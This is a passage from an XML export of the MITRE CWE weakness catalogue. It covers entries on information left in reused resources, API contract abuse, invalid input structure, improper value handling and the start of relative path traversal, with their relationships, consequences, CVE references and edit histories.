						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>There is a close association between CWE-226 and CWE-212. The difference
						is partially that of perspective. CWE-226 is geared towards the final stage
						of the resource lifecycle, in which the resource is deleted, eliminated,
						expired, or otherwise released for reuse. Technically, this involves a
						transfer to a different control sphere, in which the original contents of
						the resource are no longer relevant. CWE-212, however, is intended for
						sensitive data in resources that are intentionally shared with others, so
						they are still active. This distinction is useful from the perspective of
						the CWE research view (CWE-1000).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry needs modification to clarify the differences with CWE-212. The
						description also combines two problems that are distinct from the CWE
						research perspective - the inadvertent transfer of information to another
						sphere, and improper initialization/shutdown. Some of the associated
						taxonomy mappings reflect these different uses.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0001</Observed_Example_Reference>
					          <Observed_Example_Description>Ethernet NIC drivers do not pad frames with null
						bytes, leading to infoleak from malformed
						packets.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0291</Observed_Example_Reference>
					          <Observed_Example_Description>router does not clear information from DHCP
						packets that have been previously used</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1406</Observed_Example_Reference>
					          <Observed_Example_Description>Products do not fully clear memory buffers when
						less data is stored into the buffer than
						previous.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1858</Observed_Example_Reference>
					          <Observed_Example_Description>Products do not fully clear memory buffers when
						less data is stored into the buffer than
						previous.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3180</Observed_Example_Reference>
					          <Observed_Example_Description>Products do not fully clear memory buffers when
						less data is stored into the buffer than
						previous.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3276</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not clear a data structure before
						writing to part of it, yielding information leak of previously used
						memory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2077</Observed_Example_Reference>
					          <Observed_Example_Description>Memory not properly cleared before
						reuse.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Non-specific</Functional_Area>
				        <Functional_Area>memory management</Functional_Area>
				        <Functional_Area>networking</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Currently frequently found for network packets, but it can also exist in
						local memory allocation, files, etc.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Sensitive Information Uncleared Before Use</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Clear sensitive information stored in reusable resources
						returned for reuse</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Clear sensitive information stored in returned reusable
						resources</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Relationship_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Maintenance_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Sensitive Information
						Uncleared Before Use</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="227" Name="Improper Fulfillment of API Contract ('API Abuse')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses an API in a manner contrary to its intended
					use.</Description_Summary>
				        <Extended_Description>
					          <Text>An API is a contract between a caller and a callee. The most common forms
						of API misuse occurs when the caller does not honor its end of this
						contract. For example, if a program does not call chdir() after calling
						chroot(), it violates the contract that specifies how to change the active
						root directory in a secure fashion. Another good example of library abuse is
						expecting the callee to return trustworthy DNS information to the caller. In
						this case, the caller misuses the callee API by making certain assumptions
						about its behavior (that the return value can be used for authentication
						purposes). One can also violate the caller-callee contract from the other
						side. For example, if a coder subclasses SecureRandom and returns a
						non-random value, the contract is violated.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>710</Relationship_Target_ID>
					          <!--Coding Standards Violation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>API Abuse</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always utilize APIs in the specified manner.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7140</Observed_Example_Reference>
					          <Observed_Example_Description>Crypto implementation removes padding when it
						shouldn't, allowing forged signatures</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4339</Observed_Example_Reference>
					          <Observed_Example_Description>Crypto implementation removes padding when it
						shouldn't, allowing forged signatures</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>API Abuse</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Abuse of Functionality </Mapped_Node_Name>
					          <Mapped_Node_ID>42</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>96</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">API
						Abuse</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Fulfill API
						Contract (aka 'API Abuse')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Failure to Fulfill API
						Contract ('API Abuse')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="228" Name="Improper Handling of Syntactically Invalid Structure" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The product does not handle or incorrectly handles input that
					is not syntactically well-formed with respect to the associated specification.
				</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>137</Relationship_Target_ID>
					          <!--Representation Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry needs more investigation. Public vulnerability research
						generally focuses on the manipulations that generate invalid structure,
						instead of the weaknesses that are exploited by those manipulations. For
						example, a common attack involves making a request that omits a required
						field, which can trigger a crash in some cases. The crash could be due to a
						named chain such as CWE-690 (Unchecked Return Value to NULL Pointer
						Dereference), but public reports rarely cover this aspect of a
						vulnerability.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>The validity of input could be roughly classified along "syntactic",
						"semantic", and "lexical" dimensions. If the specification requires that an
						input value should be delimited with the "[" and "]" square brackets, then
						any input that does not follow this specification would be syntactically
						invalid. If the input between the brackets is expected to be a number, but
						the letters "aaa" are provided, then the input is syntactically invalid. If
						the input is a number and enclosed in brackets, but the number is outside of
						the allowable range, then it is semantically invalid. The
						inter-relationships between these properties - and their associated
						weaknesses- need further exploration.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If an input is syntactically invalid, then processing the input could
							place the system in an unexpected state that could lead to a crash,
							consume available system resources or other unintended behaviors.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Relevant_Properties>
				        <Relevant_Property>Validity</Relevant_Property>
			      </Relevant_Properties>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Structure and Validity Problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Improper Error Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Name,
						Relationships, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Structure and Validity
						Problems</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle
						Syntactically Invalid Structure</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="229" Name="Improper Handling of Values" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to missing or incorrect
					handling of values that are associated with parameters, fields, or arguments.
				</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>228</Relationship_Target_ID>
					          <!--Improper Handling of Syntactically Invalid Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Value
						Problems</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="23" Name="Relative Path Traversal" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					sequences such as ".." that can resolve to a location that is outside of that
					directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>22</Relationship_Target_ID>
					          <!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to create or overwrite critical files that
							are used to execute code, such as programs or libraries.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to overwrite or create critical files, such
							as programs, libraries, or important data. If the targeted file is used
							for a security mechanism, then the attacker may be able to bypass that
							mechanism. For example, appending a new account at the end of a password
							file may allow an attacker to bypass authentication.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able read the contents of unexpected files and
							expose sensitive data. If the targeted file is used for a security
							mechanism, then the attacker may be able to bypass that mechanism. For
							example, by reading a password file, the attacker could conduct brute
							force password guessing attacks in order to break into an account on the
							system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to overwrite, delete, or corrupt unexpected
							critical files such as programs, libraries, or important data. This may
							prevent the software from working at all and in the case of a protection
							mechanisms such as authentication, it has the potential to lockout every
							user of the software.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
